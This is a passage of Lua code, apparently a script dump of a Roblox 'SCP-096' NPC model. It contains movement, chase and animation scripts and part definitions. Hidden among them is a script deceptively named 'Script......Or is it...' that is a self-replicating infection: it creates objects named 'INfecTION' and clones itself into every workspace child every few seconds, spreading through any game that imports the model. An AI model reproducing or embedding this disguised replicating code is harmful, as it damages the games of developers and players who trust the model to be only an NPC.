  600. frequency = 4
  601. else
  602. amplitude = 2
  603. frequency = 12
  604. end
  605. elseif (pose == "Climbing") then
  606. RightShoulder.MaxVelocity = 0.3
  607. LeftShoulder.MaxVelocity = 0.3
  608. RightHip.MaxVelocity = 1
  609. LeftHip.MaxVelocity = 1
  610. amplitude = 0.4
  611. frequency = 6
  612. climbFudge = 3.14
  613. else
  614. amplitude = 0.1
  615. frequency = 1
  616. end
  617. local desiredAngle=amplitude*math.sin(time*frequency);
  618. if FreeSCP096Humanoid.WalkSpeed==1 then --Panic
  619. RightShoulder.MaxVelocity = 0.05
  620. LeftShoulder.MaxVelocity = 0.05
  621. RightShoulder.DesiredAngle = 3.14
  622. LeftShoulder.DesiredAngle = -3.14
  623. end
  624. if FreeSCP096Humanoid.WalkSpeed>10 then
  625. RightShoulder.MaxVelocity = 5
  626. LeftShoulder.MaxVelocity = 5
  627. RightShoulder.DesiredAngle = 1.57
  628. LeftShoulder.DesiredAngle = -1.57
  629. RightHip.MaxVelocity = 3
  630. LeftHip.MaxVelocity =3
  631. end
  632. if FreeSCP096Humanoid.WalkSpeed~=1 and FreeSCP096Humanoid.WalkSpeed~=35 then
  633. RightShoulder.DesiredAngle=desiredAngle+climbFudge;
  634. LeftShoulder.DesiredAngle=desiredAngle-climbFudge;
  635. end
  636. RightHip.DesiredAngle = -desiredAngle
  637. LeftHip.DesiredAngle = -desiredAngle
  638. end
  639. FreeSCP096Humanoid.Died:connect(onDied)
  640. FreeSCP096Humanoid.Running:connect(onRunning)
  641. FreeSCP096Humanoid.Jumping:connect(onJumping)
  642. FreeSCP096Humanoid.Climbing:connect(onClimbing)
  643. FreeSCP096Humanoid.GettingUp:connect(onGettingUp)
  644. FreeSCP096Humanoid.FreeFalling:connect(onFreeFall)
  645. FreeSCP096Humanoid.FallingDown:connect(onFallingDown)
  646. FreeSCP096Humanoid.Seated:connect(onSeated)
  647. local nextTime=0
  648. local runService=game:service("RunService");
  649. while Wait(0)do
  650. local time=runService.Stepped:wait(0);
  651. if time>nextTime then
  652. move(time);
  653. nextTime=time;
  654. end;
  655. end;
  656. --[[ By: Brutez. ]]--
  657. end))
  658. Script34.Name = "Main"
  659. Script34.Parent = Model0
  660. table.insert(cors,sandbox(Script34,function()
  661. --[[ By: Brutez. ]]--
  662. local FreeSCP096Script=script;
  663. local FreeSCP096=FreeSCP096Script.Parent;
  664. local FreeSCP096Humanoid=nil;
  665. local FreeSCP096Head=FreeSCP096:FindFirstChild("Head");
  666. local FreeSCP096Idle=FreeSCP096Head:FindFirstChild("Idle");
  667. local FreeSCP096Panic=FreeSCP096Head:FindFirstChild("Panic");
  668. local FreeSCP096Scream=FreeSCP096Head:FindFirstChild("Scream");
  669. local FreeSCP096Kill=FreeSCP096Head:FindFirstChild("Damage5");
  670. local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso");
  671. for _,Child in pairs(FreeSCP096:GetChildren())do
  672. if Child.ClassName=="Humanoid"then
  673. FreeSCP096Humanoid=Child;
  674. end
  675. end
  676. local NoticeDistanceTime=0;
  677. local Noticed=false;
  678. function findNearestTorso(pos)
  679. local NoticeDistance=150;
  680. local torso=nil;
  681. for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
  682. if TargetModel.className=="Model"and TargetModel~=FreeSCP096 and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
  683. local TargetPart=TargetModel:FindFirstChild("Torso")
  684. local FoundHumanoid=nil;
  685. for _,Child in pairs(TargetModel:GetChildren())do
  686. if Child.ClassName=="Humanoid"then
  687. FoundHumanoid=Child;
  688. end
  689. end
  690. if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<NoticeDistance then
  691. if not Noticed and TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<20 then
  692. if FreeSCP096Idle.IsPlaying then
  693. FreeSCP096Idle:Stop()
  694. end
  695. if FreeSCP096Scream.IsPlaying then
  696. FreeSCP096Scream:Stop()
  697. end
  698. FreeSCP096Panic:Play()
  699. FreeSCP096Humanoid.WalkSpeed=1;
  700. Wait(35)
  701. Noticed=true
  702. end
  703. if Noticed then
  704. torso=TargetPart;
  705. NoticeDistance=(TargetPart.Position-pos).magnitude;
  706. end;
  707. end;
  708. if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<6 then
  709. FreeSCP096Kill:Play()
  710. FoundHumanoid:TakeDamage(99999e99999)
  711. end
  712. end
  713. end
  714. return torso
  715. end
  716. while Wait(0)do
  717. FreeSCP096Humanoid.MaxHealth=99999e99999
  718. FreeSCP096Humanoid.Health=99999e99999
  719. if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoJumpEnabled then
  720. FreeSCP096Humanoid.AutoJumpEnabled=true;
  721. end
  722. if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoRotate then
  723. FreeSCP096Humanoid.AutoRotate=true;
  724. end
  725. if FreeSCP096Humanoid and FreeSCP096Humanoid.PlatformStand then
  726. FreeSCP096Humanoid.PlatformStand=false;
  727. end
  728. if FreeSCP096Humanoid and FreeSCP096Humanoid.Sit then
  729. FreeSCP096Humanoid.Sit=false;
  730. end
  731. if Noticed then
  732. NoticeDistanceTime=NoticeDistanceTime+1
  733. if NoticeDistanceTime==500 or NoticeDistanceTime>500 then
  734. Noticed=false;
  735. NoticeDistanceTime=0
  736. end
  737. end
  738. local TargetPart=findNearestTorso(FreeSCP096Torso.Position);
  739. if TargetPart then
  740. if TargetPart and (TargetPart.Position-FreeSCP096Torso.Position).magnitude<50 and NoticeDistanceTime>0 then
  741. NoticeDistanceTime=NoticeDistanceTime-2
  742. end
  743. if FreeSCP096Idle.IsPlaying then
  744. FreeSCP096Idle:Stop()
  745. end
  746. if not FreeSCP096Scream.IsPlaying then
  747. FreeSCP096Scream:Play()
  748. end
  749. FreeSCP096Humanoid.WalkSpeed=35;
  750. FreeSCP096Humanoid:MoveTo(TargetPart.Position+Vector3.new(math.random(-4,4),TargetPart.Position.Y,math.random(-4,4)),TargetPart);
  751. else
  752. if not FreeSCP096Idle.IsPlaying then
  753. FreeSCP096Idle:Play()
  754. end
  755. if FreeSCP096Scream.IsPlaying then
  756. FreeSCP096Scream:Stop()
  757. end
  758. FreeSCP096Humanoid.WalkSpeed=10;
  759. local WanderChance=math.random(1,50);
  760. local JumpChance=math.random(1,100);
  761. if WanderChance==10 then
  762. local randompos=FreeSCP096Torso.Position+((Vector3.new(1,0,1)*math.random()-Vector3.new(.5,0,.5))*40);
  763. FreeSCP096Humanoid:MoveTo(randompos,game.Workspace.Terrain);
  764. end
  765. if JumpChance==10 then
  766. FreeSCP096Humanoid.Jump=true;
  767. end
  768. end
  769. end
  770. --[[ By: Brutez. ]]--
  771. end))
  772. Script35.Name = "Animate"
  773. Script35.Parent = Model0
  774. table.insert(cors,sandbox(Script35,function()
  775. function waitForChild(parent, childName)
  776. local child = parent:findFirstChild(childName)
  777. if child then return child end
  778. while true do
  779. child = parent.ChildAdded:wait()
  780. if child.Name==childName then return child end
  781. end
  782. end
  783.  
  784. local Figure = script.Parent
  785. local Torso = waitForChild(Figure, "Torso")
  786. local RightShoulder = waitForChild(Torso, "Right Shoulder")
  787. local LeftShoulder = waitForChild(Torso, "Left Shoulder")
  788. local RightHip = waitForChild(Torso, "Right Hip")
  789. local LeftHip = waitForChild(Torso, "Left Hip")
  790. local Neck = waitForChild(Torso, "Neck")
  791. local Humanoid = waitForChild(Figure, "SCP")
  792. local pose = "Standing"
  793.  
  794. local currentAnim = ""
  795. local currentAnimTrack = nil
  796. local currentAnimKeyframeHandler = nil
  797. local currentAnimSpeed = 1.0
  798. local animTable = {}
  799. local animNames = {
  800. idle = {
  801. { id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
  802. { id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
  803. },
  804. walk = {
  805. { id = "http://www.roblox.com/asset/?id=125749145", weight = 10 }
  806. },
  807. run = {
  808. { id = "run.xml", weight = 10 }
  809. },
  810. jump = {
  811. { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
  812. },
  813. fall = {
  814. { id = "http://www.roblox.com/asset/?id=125750759", weight = 10 }
  815. },
  816. climb = {
  817. { id = "http://www.roblox.com/asset/?id=125750800", weight = 10 }
  818. },
  819. toolnone = {
  820. { id = "http://www.roblox.com/asset/?id=125750867", weight = 10 }
  821. },
  822. toolslash = {
  823. { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
  824. -- { id = "slash.xml", weight = 10 }
  825. },
  826. toollunge = {
  827. { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
  828. },
  829. wave = {
  830. { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
  831. },
  832. point = {
  833. { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
  834. },
  835. dance = {
  836. { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
  837. { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
  838. { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
  839. },
  840. dance2 = {
  841. { id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
  842. { id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
  843. { id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
  844. },
  845. dance3 = {
  846. { id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
  847. { id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
  848. { id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
  849. },
  850. laugh = {
  851. { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
  852. },
  853. cheer = {
  854. { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
  855. },
  856. }
  857.  
  858. -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
  859. local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
  860.  
  861. math.randomseed(tick())
  862.  
  863. function configureAnimationSet(name, fileList)
  864. if (animTable[name] ~= nil) then
  865. for _, connection in pairs(animTable[name].connections) do
  866. connection:disconnect()
  867. end
  868. end
  869. animTable[name] = {}
  870. animTable[name].count = 0
  871. animTable[name].totalWeight = 0
  872. animTable[name].connections = {}
  873.  
  874. -- check for config values
  875. local config = script:FindFirstChild(name)
  876. if (config ~= nil) then
  877. -- print("Loading anims " .. name)
  878. table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
  879. table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
  880. local idx = 1
  881. for _, childPart in pairs(config:GetChildren()) do
  882. if (childPart:IsA("Animation")) then
  883. table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
  884. animTable[name][idx] = {}
  885. animTable[name][idx].anim = childPart
  886. local weightObject = childPart:FindFirstChild("Weight")
  887. if (weightObject == nil) then
  888. animTable[name][idx].weight = 1
  889. else
  890. animTable[name][idx].weight = weightObject.Value
  891. end
  892. animTable[name].count = animTable[name].count + 1
  893. animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
  894. -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
  895. idx = idx + 1
  896. end
  897. end
  898. end
  899.  
  900. -- fallback to defaults
  901. if (animTable[name].count <= 0) then
  902. for idx, anim in pairs(fileList) do
  903. animTable[name][idx] = {}
  904. animTable[name][idx].anim = Instance.new("Animation")
  905. animTable[name][idx].anim.Name = name
  906. animTable[name][idx].anim.AnimationId = anim.id
  907. animTable[name][idx].weight = anim.weight
  908. animTable[name].count = animTable[name].count + 1
  909. animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
  910. -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
  911. end
  912. end
  913. end
  914.  
  915. -- Setup animation objects
  916. function scriptChildModified(child)
  917. local fileList = animNames[child.Name]
  918. if (fileList ~= nil) then
  919. configureAnimationSet(child.Name, fileList)
  920. end
  921. end
  922.  
  923. script.ChildAdded:connect(scriptChildModified)
  924. script.ChildRemoved:connect(scriptChildModified)
  925.  
  926.  
  927. for name, fileList in pairs(animNames) do
  928. configureAnimationSet(name, fileList)
  929. end
  930.  
  931. -- ANIMATION
  932.  
  933. -- declarations
  934. local toolAnim = "None"
  935. local toolAnimTime = 0
  936.  
  937. local jumpAnimTime = 0
  938. local jumpAnimDuration = 0.3
  939.  
  940. local toolTransitionTime = 0.1
  941. local fallTransitionTime = 0.3
  942. local jumpMaxLimbVelocity = 0.75
  943.  
  944. -- functions
  945.  
  946. function stopAllAnimations()
  947. local oldAnim = currentAnim
  948.  
  949. -- return to idle if finishing an emote
  950. if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
  951. oldAnim = "idle"
  952. end
  953.  
  954. currentAnim = ""
  955. if (currentAnimKeyframeHandler ~= nil) then
  956. currentAnimKeyframeHandler:disconnect()
  957. end
  958.  
  959. if (currentAnimTrack ~= nil) then
  960. currentAnimTrack:Stop()
  961. currentAnimTrack:Destroy()
  962. currentAnimTrack = nil
  963. end
  964. return oldAnim
  965. end
  966.  
  967. function setAnimationSpeed(speed)
  968. if speed ~= currentAnimSpeed then
  969. currentAnimSpeed = speed
  970. currentAnimTrack:AdjustSpeed(currentAnimSpeed)
  971. end
  972. end
  973.  
  974. function keyFrameReachedFunc(frameName)
  975. if (frameName == "End") then
  976. -- print("Keyframe : ".. frameName)
  977. local repeatAnim = stopAllAnimations()
  978. local animSpeed = currentAnimSpeed
  979. playAnimation(repeatAnim, 0.0, Humanoid)
  980. setAnimationSpeed(animSpeed)
  981. end
  982. end
  983.  
  984. -- Preload animations
  985. function playAnimation(animName, transitionTime, humanoid)
  986. local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil)
  987. if (animName ~= currentAnim and not idleFromEmote) then
  988.  
  989. if (currentAnimTrack ~= nil) then
  990. currentAnimTrack:Stop(transitionTime)
  991. currentAnimTrack:Destroy()
  992. end
  993.  
  994. currentAnimSpeed = 1.0
  995. local roll = math.random(1, animTable[animName].totalWeight)
  996. local origRoll = roll
  997. local idx = 1
  998. while (roll > animTable[animName][idx].weight) do
  999. roll = roll - animTable[animName][idx].weight
  1000. idx = idx + 1
  1001. end
  1002. -- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
  1003. local anim = animTable[animName][idx].anim
  1004.  
  1005. -- load it to the humanoid; get AnimationTrack
  1006. currentAnimTrack = humanoid:LoadAnimation(anim)
  1007.  
  1008. -- play the animation
  1009. currentAnimTrack:Play(transitionTime)
  1010. currentAnim = animName
  1011.  
  1012. -- set up keyframe name triggers
  1013. if (currentAnimKeyframeHandler ~= nil) then
  1014. currentAnimKeyframeHandler:disconnect()
  1015. end
  1016. currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
  1017. end
  1018. end
  1019.  
  1020. -------------------------------------------------------------------------------------------
  1021. -------------------------------------------------------------------------------------------
  1022.  
  1023. local toolAnimName = ""
  1024. local toolAnimTrack = nil
  1025. local currentToolAnimKeyframeHandler = nil
  1026.  
  1027. function toolKeyFrameReachedFunc(frameName)
  1028. if (frameName == "End") then
  1029. -- print("Keyframe : ".. frameName)
  1030. local repeatAnim = stopToolAnimations()
  1031. playToolAnimation(repeatAnim, 0.0, Humanoid)
  1032. end
  1033. end
  1034.  
  1035.  
  1036. function playToolAnimation(animName, transitionTime, humanoid)
  1037. if (animName ~= toolAnimName) then
  1038.  
  1039. if (toolAnimTrack ~= nil) then
  1040. toolAnimTrack:Stop()
  1041. toolAnimTrack:Destroy()
  1042. transitionTime = 0
  1043. end
  1044.  
  1045. local roll = math.random(1, animTable[animName].totalWeight)
  1046. local origRoll = roll
  1047. local idx = 1
  1048. while (roll > animTable[animName][idx].weight) do
  1049. roll = roll - animTable[animName][idx].weight
  1050. idx = idx + 1
  1051. end
  1052. -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
  1053. local anim = animTable[animName][idx].anim
  1054.  
  1055. -- load it to the humanoid; get AnimationTrack
  1056. toolAnimTrack = humanoid:LoadAnimation(anim)
  1057.  
  1058. -- play the animation
  1059. toolAnimTrack:Play(transitionTime)
  1060. toolAnimName = animName
  1061.  
  1062. currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
  1063. end
  1064. end
  1065.  
  1066. function stopToolAnimations()
  1067. local oldAnim = toolAnimName
  1068.  
  1069. if (currentToolAnimKeyframeHandler ~= nil) then
  1070. currentToolAnimKeyframeHandler:disconnect()
  1071. end
  1072.  
  1073. toolAnimName = ""
  1074. if (toolAnimTrack ~= nil) then
  1075. toolAnimTrack:Stop()
  1076. toolAnimTrack:Destroy()
  1077. toolAnimTrack = nil
  1078. end
  1079.  
  1080.  
  1081. return oldAnim
  1082. end
  1083.  
  1084. -------------------------------------------------------------------------------------------
  1085. -------------------------------------------------------------------------------------------
  1086.  
  1087.  
  1088. function onRunning(speed)
  1089. if speed>0.01 then
  1090. playAnimation("walk", 0.1, Humanoid)
  1091. pose = "Running"
  1092. else
  1093. playAnimation("idle", 0.1, Humanoid)
  1094. pose = "Standing"
  1095. end
  1096. end
  1097.  
  1098. function onDied()
  1099. pose = "Dead"
  1100. end
  1101.  
  1102. function onJumping()
  1103. playAnimation("jump", 0.1, Humanoid)
  1104. jumpAnimTime = jumpAnimDuration
  1105. pose = "Jumping"
  1106. end
  1107.  
  1108. function onClimbing(speed)
  1109. playAnimation("climb", 0.1, Humanoid)
  1110. setAnimationSpeed(speed / 12.0)
  1111. pose = "Climbing"
  1112. end
  1113.  
  1114. function onGettingUp()
  1115. pose = "GettingUp"
  1116. end
  1117.  
  1118. function onFreeFall()
  1119. if (jumpAnimTime <= 0) then
  1120. playAnimation("fall", fallTransitionTime, Humanoid)
  1121. end
  1122. pose = "FreeFall"
  1123. end
  1124.  
  1125. function onFallingDown()
  1126. pose = "FallingDown"
  1127. end
  1128.  
  1129. function onSeated()
  1130. pose = "Seated"
  1131. end
  1132.  
  1133. function onPlatformStanding()
  1134. pose = "PlatformStanding"
  1135. end
  1136.  
  1137. function onSwimming(speed)
  1138. if speed>0 then
  1139. pose = "Running"
  1140. else
  1141. pose = "Standing"
  1142. end
  1143. end
  1144.  
  1145. function getTool()
  1146. for _, kid in ipairs(Figure:GetChildren()) do
  1147. if kid.className == "Tool" then return kid end
  1148. end
  1149. return nil
  1150. end
  1151.  
  1152. function getToolAnim(tool)
  1153. for _, c in ipairs(tool:GetChildren()) do
  1154. if c.Name == "toolanim" and c.className == "StringValue" then
  1155. return c
  1156. end
  1157. end
  1158. return nil
  1159. end
  1160.  
  1161. function animateTool()
  1162.  
  1163. if (toolAnim == "None") then
  1164. playToolAnimation("toolnone", toolTransitionTime, Humanoid)
  1165. return
  1166. end
  1167.  
  1168. if (toolAnim == "Slash") then
  1169. playToolAnimation("toolslash", 0, Humanoid)
  1170. return
  1171. end
  1172.  
  1173. if (toolAnim == "Lunge") then
  1174. playToolAnimation("toollunge", 0, Humanoid)
  1175. return
  1176. end
  1177. end
  1178.  
  1179. function moveSit()
  1180. RightShoulder.MaxVelocity = 0.15
  1181. LeftShoulder.MaxVelocity = 0.15
  1182. RightShoulder:SetDesiredAngle(3.14 /2)
  1183. LeftShoulder:SetDesiredAngle(-3.14 /2)
  1184. RightHip:SetDesiredAngle(3.14 /2)
  1185. LeftHip:SetDesiredAngle(-3.14 /2)
  1186. end
  1187.  
  1188. local lastTick = 0
  1189.  
  1190. function move(time)
  1191. local amplitude = 1
  1192. local frequency = 1
  1193. local deltaTime = time - lastTick
  1194. lastTick = time
  1195.  
  1196. local climbFudge = 0
  1197. local setAngles = false
  1198.  
  1199. if (jumpAnimTime > 0) then
  1200. jumpAnimTime = jumpAnimTime - deltaTime
  1201. end
  1202.  
  1203. if (pose == "FreeFall" and jumpAnimTime <= 0) then
  1204. playAnimation("fall", fallTransitionTime, Humanoid)
  1205. elseif (pose == "Seated") then
  1206. stopAllAnimations()
  1207. moveSit()
  1208. return
  1209. elseif (pose == "Running") then
  1210. playAnimation("walk", 0.1, Humanoid)
  1211. elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
  1212. -- print("Wha " .. pose)
  1213. amplitude = 0.1
  1214. frequency = 1
  1215. setAngles = true
  1216. end
  1217.  
  1218. if (setAngles) then
  1219. desiredAngle = amplitude * math.sin(time * frequency)
  1220.  
  1221. RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
  1222. LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
  1223. RightHip:SetDesiredAngle(-desiredAngle)
  1224. LeftHip:SetDesiredAngle(-desiredAngle)
  1225. end
  1226.  
  1227. -- Tool Animation handling
  1228. local tool = getTool()
  1229. if tool then
  1230.  
  1231. animStringValueObject = getToolAnim(tool)
  1232.  
  1233. if animStringValueObject then
  1234. toolAnim = animStringValueObject.Value
  1235. -- message recieved, delete StringValue
  1236. animStringValueObject.Parent = nil
  1237. toolAnimTime = time + .3
  1238. end
  1239.  
  1240. if time > toolAnimTime then
  1241. toolAnimTime = 0
  1242. toolAnim = "None"
  1243. end
  1244.  
  1245. animateTool()
  1246. else
  1247. stopToolAnimations()
  1248. toolAnim = "None"
  1249. toolAnimTime = 0
  1250. end
  1251. end
  1252.  
  1253. -- connect events
  1254. Humanoid.Died:connect(onDied)
  1255. Humanoid.Running:connect(onRunning)
  1256. Humanoid.Jumping:connect(onJumping)
  1257. Humanoid.Climbing:connect(onClimbing)
  1258. Humanoid.GettingUp:connect(onGettingUp)
  1259. Humanoid.FreeFalling:connect(onFreeFall)
  1260. Humanoid.FallingDown:connect(onFallingDown)
  1261. Humanoid.Seated:connect(onSeated)
  1262. Humanoid.PlatformStanding:connect(onPlatformStanding)
  1263. Humanoid.Swimming:connect(onSwimming)
  1264.  
  1265. -- setup emote chat hook
  1266.  
  1267.  
  1268. -- main program
  1269.  
  1270. local runService = game:service("RunService");
  1271.  
  1272. -- initialize to idle
  1273. playAnimation("idle", 0.1, Humanoid)
  1274. pose = "Standing"
  1275.  
  1276. while Figure.Parent~=nil do
  1277. local _, time = wait(0.1)
  1278. move(time)
  1279. end
  1280.  
  1281.  
  1282.  
  1283. end))
  1284. StringValue36.Name = "climb"
  1285. StringValue36.Parent = Script35
  1286. Animation37.Name = "ClimbAnim"
  1287. Animation37.Parent = StringValue36
  1288. Animation37.AnimationId = "http://www.roblox.com/asset/?id=125750800"
  1289. StringValue38.Name = "fall"
  1290. StringValue38.Parent = Script35
  1291. Animation39.Name = "FallAnim"
  1292. Animation39.Parent = StringValue38
  1293. Animation39.AnimationId = "http://www.roblox.com/asset/?id=125750759"
  1294. StringValue40.Name = "idle"
  1295. StringValue40.Parent = Script35
  1296. Animation41.Name = "Animation1"
  1297. Animation41.Parent = StringValue40
  1298. Animation41.AnimationId = "http://www.roblox.com/asset/?id=125750544"
  1299. NumberValue42.Name = "Weight"
  1300. NumberValue42.Parent = Animation41
  1301. NumberValue42.Value = 9
  1302. Animation43.Name = "Animation2"
  1303. Animation43.Parent = StringValue40
  1304. Animation43.AnimationId = "http://www.roblox.com/asset/?id=125750618"
  1305. NumberValue44.Name = "Weight"
  1306. NumberValue44.Parent = Animation43
  1307. NumberValue44.Value = 1
  1308. StringValue45.Name = "jump"
  1309. StringValue45.Parent = Script35
  1310. Animation46.Name = "JumpAnim"
  1311. Animation46.Parent = StringValue45
  1312. Animation46.AnimationId = "http://www.roblox.com/asset/?id=125750702"
  1313. StringValue47.Name = "run"
  1314. StringValue47.Parent = Script35
  1315. Animation48.Name = "RunAnim"
  1316. Animation48.Parent = StringValue47
  1317. Animation48.AnimationId = "rbxassetid://510059034"
  1318. StringValue49.Name = "toolnone"
  1319. StringValue49.Parent = Script35
  1320. Animation50.Name = "ToolNoneAnim"
  1321. Animation50.Parent = StringValue49
  1322. Animation50.AnimationId = "http://www.roblox.com/asset/?id=125750867"
  1323. StringValue51.Name = "walk"
  1324. StringValue51.Parent = Script35
  1325. Animation52.Name = "WalkAnim"
  1326. Animation52.Parent = StringValue51
  1327. Animation52.AnimationId = "http://www.roblox.com/asset/?id=125749145"
  1328. Script53.Name = "Script......Or is it..."
  1329. Script53.Parent = mas
  1330. table.insert(cors,sandbox(Script53,function()
  1331. if script.Parent.className ~= "RotateP" then
  1332. local p = Instance.new("RotateP")
  1333. p.Parent = workspace
  1334. p.Name = "INfecTION"
  1335. script.Parent = p
  1336. end
  1337.  
  1338. function check()
  1339. local list = workspace:GetChildren()
  1340. for i = 1, #list do
  1341. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  1342. script.Parent:Clone().Parent = list[i]
  1343. end
  1344. wait()
  1345. end
  1346. end
  1347.  
  1348. while true do
  1349. check()
  1350. if workspace:findFirstChild("inFECtion") == nil then
  1351. local main = script.Parent:Clone()
  1352. main.Name = "inFECtion"
  1353. main.Parent = workspace
  1354. end
  1355. wait(3)
  1356. end
  1357.  
  1358. end))
  1359. BodyColors54.Parent = Model0
  1360. BodyColors54.HeadColor = BrickColor.new("Institutional white")
  1361. BodyColors54.LeftArmColor = BrickColor.new("Institutional white")
  1362. BodyColors54.LeftLegColor = BrickColor.new("Institutional white")
  1363. BodyColors54.RightArmColor = BrickColor.new("Institutional white")
  1364. BodyColors54.RightLegColor = BrickColor.new("Institutional white")
  1365. BodyColors54.TorsoColor = BrickColor.new("Institutional white")
  1366. CharacterMesh55.Name = "SCP-096 Left Arm"
  1367. CharacterMesh55.Parent = Model0
  1368. CharacterMesh55.MeshId = 75390829
  1369. CharacterMesh55.BaseTextureId = 255692783
  1370. CharacterMesh55.BodyPart = Enum.BodyPart.LeftArm
  1371. CharacterMesh55.OverlayTextureId = 255692783
  1372. CharacterMesh56.Name = "SCP-096 Left Leg"
  1373. CharacterMesh56.Parent = Model0
  1374. CharacterMesh56.MeshId = 32328520
  1375. CharacterMesh56.BaseTextureId = 255692783
  1376. CharacterMesh56.BodyPart = Enum.BodyPart.LeftLeg
  1377. CharacterMesh56.OverlayTextureId = 255692783
  1378. CharacterMesh57.Name = "SCP-096 Right Arm"
  1379. CharacterMesh57.Parent = Model0
  1380. CharacterMesh57.MeshId = 75390843
  1381. CharacterMesh57.BaseTextureId = 255692783
  1382. CharacterMesh57.BodyPart = Enum.BodyPart.RightArm
  1383. CharacterMesh57.OverlayTextureId = 255692783
  1384. CharacterMesh58.Name = "SCP-096 Right Leg"
  1385. CharacterMesh58.Parent = Model0
  1386. CharacterMesh58.MeshId = 32328627
  1387. CharacterMesh58.BaseTextureId = 255692783
  1388. CharacterMesh58.BodyPart = Enum.BodyPart.RightLeg
  1389. CharacterMesh58.OverlayTextureId = 255692783
  1390. Hat59.Name = "Eye"
  1391. Hat59.Parent = Model0
  1392. Hat59.AttachmentForward = Vector3.new(-0, 0.999999523, -0.00100100052)
  1393. Hat59.AttachmentPos = Vector3.new(-0.200000003, -0.419999987, 0.300000012)
  1394. Hat59.AttachmentUp = Vector3.new(0, 0.00100100052, 0.999999523)
  1395. Part60.Name = "Handle"
  1396. Part60.Parent = Hat59
  1397. Part60.Material = Enum.Material.Neon
  1398. Part60.BrickColor = BrickColor.new("Really red")
  1399. Part60.Rotation = Vector3.new(-89.9399948, 0, 0)
  1400. Part60.CanCollide = false
  1401. Part60.Elasticity = 0
  1402. Part60.FormFactor = Enum.FormFactor.Custom
  1403. Part60.Friction = 2
  1404. Part60.Size = Vector3.new(1.73657537, 1.73563242, 1.73563719)
  1405. Part60.CFrame = CFrame.new(36.5423737, 12.9089546, -91.4973755, 0.999993324, 1.08500882e-11, -1.08587117e-14, 1.8092752e-18, 0.00100062753, 0.999999523, 1.0850044e-11, -0.999999523, 0.00100062753)
  1406. Part60.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  1407. Part60.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  1408. Part60.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  1409. Part60.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  1410. Part60.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  1411. Part60.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  1412. Part60.Color = Color3.new(1, 0, 0)
  1413. Part60.Position = Vector3.new(36.5423737, 12.9089546, -91.4973755)
  1414. Part60.Orientation = Vector3.new(-89.9399948, 0, 0)
  1415. Part60.Color = Color3.new(1, 0, 0)
  1416. SpecialMesh61.Parent = Part60
  1417. SpecialMesh61.Scale = Vector3.new(0.568191171, 0.610279262, 0.420882314)
  1418. SpecialMesh61.MeshType = Enum.MeshType.Sphere
  1419. SpecialMesh61.Scale = Vector3.new(0.568191171, 0.610279262, 0.420882314)
  1420. Model62.Name = "Mini SCP-096"
  1421. Model62.Parent = mas
  1422. Model62.PrimaryPart = Part78
  1423. Part63.Name = "Left Arm"
  1424. Part63.Parent = Model62
  1425. Part63.Material = Enum.Material.SmoothPlastic
  1426. Part63.BrickColor = BrickColor.new("Institutional white")
  1427. Part63.CanCollide = false
  1428. Part63.Elasticity = 0
  1429. Part63.FormFactor = Enum.FormFactor.Symmetric
  1430. Part63.Friction = 2
  1431. Part63.Size = Vector3.new(0.609632194, 2.43852758, 0.609632194)
  1432. Part63.CFrame = CFrame.new(62.2105103, 2.62147307, -91.6650696, 0.999993205, 2.82727922e-27, -4.37122836e-08, -3.23116425e-27, 0.999996603, -1.97145546e-27, 4.37127525e-08, 2.253084e-27, 1)
